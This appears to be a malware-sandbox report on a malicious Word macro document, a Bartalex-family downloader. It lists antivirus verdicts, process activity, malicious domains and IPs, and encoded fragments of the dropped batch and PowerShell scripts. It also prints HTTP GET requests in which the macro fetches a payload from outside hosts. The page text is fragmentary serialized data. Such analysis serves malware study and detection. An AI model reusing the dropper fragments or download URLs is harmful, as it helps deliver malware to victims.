AHMAbABkAGQAcwAgAH0ADQAKAEkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAdABGAGkAbABlAFAAYQB0AGgAKQB7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABiAHQARgBpAGwAZQBQAGEAdABoACAAfQANAAoASQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB0AGEAdABGAGkAbABlAFAAYQB0AGgAKQB7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABzAHQAYQB0AEYAaQBsAGUAUABhAHQAaAAgAH0ADQAKACQAYQBzAGIAZABoAGoAYQBnAHMAIAA9ACAAJwBqAGEAaABkAGoAawBoAGQAagBrADIAMQAgADIAMQBoAGoAawBoAGUAIABqAGsAaABzAGEAawBoAGQAIABhAHMAcwBkACcAOwANAAoASQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAZgBpAGwAZQApAHsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGYAaQBsAGUAIAB9AA0ACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAE0AeQBJAE4AdgBvAGMAYQB0AGkAbwBuAC4ASQBuAHYAbwBjAGEAdABpAG8AbgBOAGEAbQBlADwALwB0AGUAeAB0ADEAMAA+AA0ACgA8AHQAZQB4AHQAMgAwAD4AcABpAG4AZwAgADMALgAyAC4AMQAuADEAIAAtAG4AIAAyAA0ACgBjAGgAYwBwACAAMQAyADUAMQANAAoAOgBuAHUAdwBxAGgAZAB1AGkAdwANAAoAcwBlAHQAIABSAHQAcwAyAD0AIgB2AGIAIgANAAoAcwBlAHQAIABSAHQAcwAxAD0AIgAuACIADQAKAHMAZQB0ACAAUgB0AHMAMwA9ACIAcwAiADwALwB0AGUAeAB0ADIAMAA+AA0ACgA8AHQAZQB4AHQAMgAxAD4AOgBiAHkAcQBkAHkAcQB3AGcAagBoAGcADQAKAGMAcwBjAHIAaQBwAHQALgBlAHgAZQAgACUAUgB0AHMANAAlACUAUgB0AHMAMQAlACUAUgB0AHMAMgAlACUAUgB0AHMAMwAlAA0ACgBlAHgAaQB0ADwALwB0AGUAeAB0ADIAMQA+AA0ACgA8AHQAZQB4AHQAMwAwAD4ARABpAG0AIABkAGYAZgANAAoA" ... "WINWORD.EXE" called "Msxml2.ServerXMLHTTP.responseText" with result: " 404 Not Found

File not found (404 error)

If you think what you're looking for should be here, please contact the site owner.

" ... "WINWORD.EXE" called "Msxml2.DOMDocument.CreateObject" ... "WINWORD.EXE" called "Msxml2.DOMDocument.createElement" with result: "IDispatch" ... "WINWORD.EXE" called "Msxml2.DOMDocument("createElement").dataType" ... "WINWORD.EXE" called "Msxml2.DOMDocument("createElement").text" ...2d:T618,"WINWORD.EXE" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "WINWORD.EXE" touched file "%WINDIR%\Fonts\staticcache.dat" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\USER32.dll.mui" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\SETUPAPI.dll.mui" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "WINWORD.EXE" touched file "%WINDIR%\system32\rsaenh.dll" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\KERNELBASE.dll.mui" "WINWORD.EXE" touched file "%WINDIR%\System32\msxml6r.dll" "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{62B4A5B9-02F2-4697-BF64-81830C210B34}.tmp" "WINWORD.EXE" touched file "%WINDIR%\system32\en-US\MSCTF.dll.mui"2e:Tc2f,Found malicious artifacts related to "66.235.110.60" (ASN: 7349, Owner: Windstream Hosted Solutions, LLC): ... URL: http://fspresentationproducts.com/ (AV positives: 1/64 scanned on 05/11/2017 00:39:08) URL: http://fspresentationproducts.com/78672738612836.txt (AV positives: 6/64 scanned on 02/28/2017 20:31:04) File SHA256: 886f73ec73a03518b3829d2945c658c34e1a06078841fcb3a1a27f94236eed11 (AV positives: 20/56 scanned on 02/28/2017 20:31:11) Found malicious artifacts related to "50.63.202.9" (ASN: 26496, Owner: GoDaddy.com, LLC): ... URL: http://lenovosupportcentre.com/index.php (AV positives: 2/65 scanned on 06/20/2017 12:42:00) URL: http://xoutdoorsolutions.com/sportstech.com.uk (AV positives: 10/66 scanned on 06/20/2017 07:42:49) URL: http://xoutdoorsolutions.com/sportstech.com.bl (AV positives: 12/66 scanned on 06/20/2017 07:35:19) URL: http://libertywiseadventures.com/connect/connect/connect/connect/ (AV positives: 12/65 scanned on 06/20/2017 07:23:44) URL: http://libertywiseadventures.com/miracle1/post/post/home/ (AV positives: 9/65 scanned on 06/20/2017 07:19:29) File SHA256: 72ec27bd0d959a1e6713d96b4e55c5a9b92ac6d1b5b5a4a8d5d1211422fcee57 (AV positives: 1/56 scanned on 06/16/2017 12:50:23) File SHA256: cdc8b52c9402b72ef9c698027c0d2ea63058ed98b832a31d3ac57c9e7f8b35ed (AV positives: 1/56 scanned on 06/16/2017 10:12:28) File SHA256: d0e685638a1a383e7e20a4de460ff90e995f9d5e653d6ee8b0317cd8d6aeed83 (AV positives: 26/61 scanned on 06/16/2017 04:38:41) File SHA256: 17fa2f3324d45c27a318ed51dab739c7f09b573185b76889b955ad2c9ad1d7b8 (AV positives: 1/55 scanned on 06/09/2017 08:06:06) File SHA256: 7da7df6b2ae25a2b32a494dacea2c51b02b173dcb020c79f4df47a92fb497274 (AV positives: 1/56 scanned on 05/31/2017 11:11:55) Found malicious artifacts related to "160.153.136.3" (ASN: 26496, Owner: GoDaddy.com, LLC): ... URL: http://royalcaves.com/ (AV positives: 1/68 scanned on 10/15/2016 08:11:20) URL: http://kedarhairinc.com/Acounte/paypal/signin/1749D24143/login.php (AV positives: 14/68 scanned on 09/20/2016 04:44:55) URL: http://kedarhairinc.com/Acounte/paypal/signin/EA75763A3E/login.php (AV positives: 13/68 scanned on 09/20/2016 04:34:19) URL: http://kedarhairinc.com/libraries/fof/bnp/e6f5f935c859ef3ef9f8c430a3f9d553 (AV positives: 8/68 scanned on 09/20/2016 04:24:48) URL: http://kedarhairinc.com/libraries/bitfolge/bnp/e4a2b7aa2ed311dbfe27f71cb9640982/index.html (AV positives: 10/68 scanned on 09/20/2016 04:42:49) File SHA256: 51825a2ae8263209f0c3169e22b1fe007382c39f7ecef5ae83ed7164608e5a65 (AV positives: 54/61 scanned on 06/18/2017 03:07:58) File SHA256: 7753e33d87efa1587178113df2adee60812c6465c51d54588fc70ea8c2edae24 (AV positives: 54/61 scanned on 06/18/2017 01:48:33) File SHA256: d2fbae58f3ebf402d8a434cd5b00b459893fabd2819326002b352b2a88657ced (AV positives: 56/61 scanned on 06/17/2017 20:47:08) File SHA256: 2dfaead448f0be40c240b7b945f2aabaaade67197f45d25fbbbcef2534f2ffaa (AV positives: 55/62 scanned on 06/17/2017 07:47:48) File SHA256: 39462ce1dd8390f12036fa7aedaf4c77a81726068601d6c4bdca00119b1dcefd (AV positives: 55/62 scanned on 06/17/2017 07:40:36)2f:T9b4,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1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790322446854,"unified_at":"2026-09-25T07:47:26.854Z","metadata":{"hashes":{"sha256":"776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb","sha1":"22d46c934d24166976198bfba96366705624be26","md5":"128a7cc4660e92bc46662cf372ad63f2","sha512":"185578f51c3d057b8906e0d578e16ed1508e74f590bd0483e52a8a29e6b62775a8184aa757ad68d3021becdc9384745176583605ee59019cc616ac5a02444d9a","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"rejected_ach_batch.doc","file_type":["doc","office"],"file_type_id":"doc","file_size":70144,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499286577000,"last_seen":1663641503000,"last_multi_scan":1663641503000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["bartalex"]},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":29},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":25,"suspicious_count":13,"malicious_count":10,"total":48},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"W97M/Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSWord.Agent.ph","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"W2000M/Agent.8946107","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VB.Heur.Chronos.7.64AFA693.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W97M/Tarbir","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VB.Heur.Chronos.7.64AFA693.Gen (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBA/TrojanDownloader.Agent.YD trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.VBA.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0058ca141 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.MSWord.Agent.pp","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.ako","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Agent.dumjya","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"W97M.Dropper.KR","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DocDl-QI","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"W97M.Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"W2KM_BA.40DFB3F1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"W2KM_BA.40DFB3F1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.AG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.MSWord.Agent.ph","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts domains","description":"\"fspresentationproducts.com\"\n \"chameleonpaintworks.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"165.254.207.89:80\"\n \"66.235.110.60:80\"\n \"50.63.73.1:80\"\n \"23.61.69.163:80\"\n \"69.22.154.25:80\"\n \"23.61.75.27:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$27","origin":"Static Parser","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\WinSpl64To32Mutex_19162_0_3000\"\n \"KYIMEShareCachedData.MutexObject.PSPUBWS\"\n \"KYTransactionServer.MutexObject.PSPUBWS\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-1663702577-2139711211-3687027567-1000\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-1663702577-2139711211-3687027567-1000\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\office12\\riched20.dll\" at 6C450000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"cmd /c C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\21385.bat\" on 2015-07-21.16:30:11","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$28","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"WINWORD.EXE\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries volume information","description":"$29","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"WINWORD.EXE\" queries volume information of \"\\Device\\HarddiskVolume2\\\" at 01950671-00002984-77E5FF7C-1957656","origin":"API Call","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"level":"suspicious","category":"Network Related","name":"Found potential URL in binary/memory","description":"\"chameleonpaintworks.com/wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL/\"","origin":"File/Memory","relevance":2,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"Chr\" which indicates: \"May attempt to obfuscate specific strings\"\n Found suspicious keyword \"Output\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"Print #\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"\n Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"Environ\" which indicates: \"May read system environment variables\"\n Found suspicious keyword \"Shell\" which indicates: \"May run an executable file or a system command\"","origin":"Static Parser","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded string with suspicious keywords","description":"Found suspicious keyword \"Lib\" which indicates: \"May run code from a DLL\"\n Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"Chr\" which indicates: \"May attempt to obfuscate specific strings\"\n Found suspicious keyword \"Output\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"Environ\" which indicates: \"May read system environment variables\"\n Found suspicious keyword \"Windows\" which indicates: \"May enumerate application windows (if combined with Shell.Application object)\"","origin":"File/Memory","relevance":10,"id":"string-21","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"WINWORD.EXE\" wrote bytes \"E95BCE09F6\" to virtual address \"0x778687C9\" (\"SetUnhandledExceptionFilter@kernel32.dll\")\n \"WINWORD.EXE\" wrote bytes \"56CAD4D1\" to virtual address \"0x2F921634\" (part of module \"WINWORD.EXE\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"\\REGISTRY\\MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\", Key: \"00000407\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Found URL in decoded VBA string","description":"\"chameleonpaintworks.com/wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL/\"","origin":"File/Memory","relevance":10,"id":"string-18","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /78672738612836.txt HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Language: de\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: fspresentationproducts.com\"\n \"GET /wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL/78672738612836.txt HTTP/1.1\nConnection: Keep-Alive\nAccept: 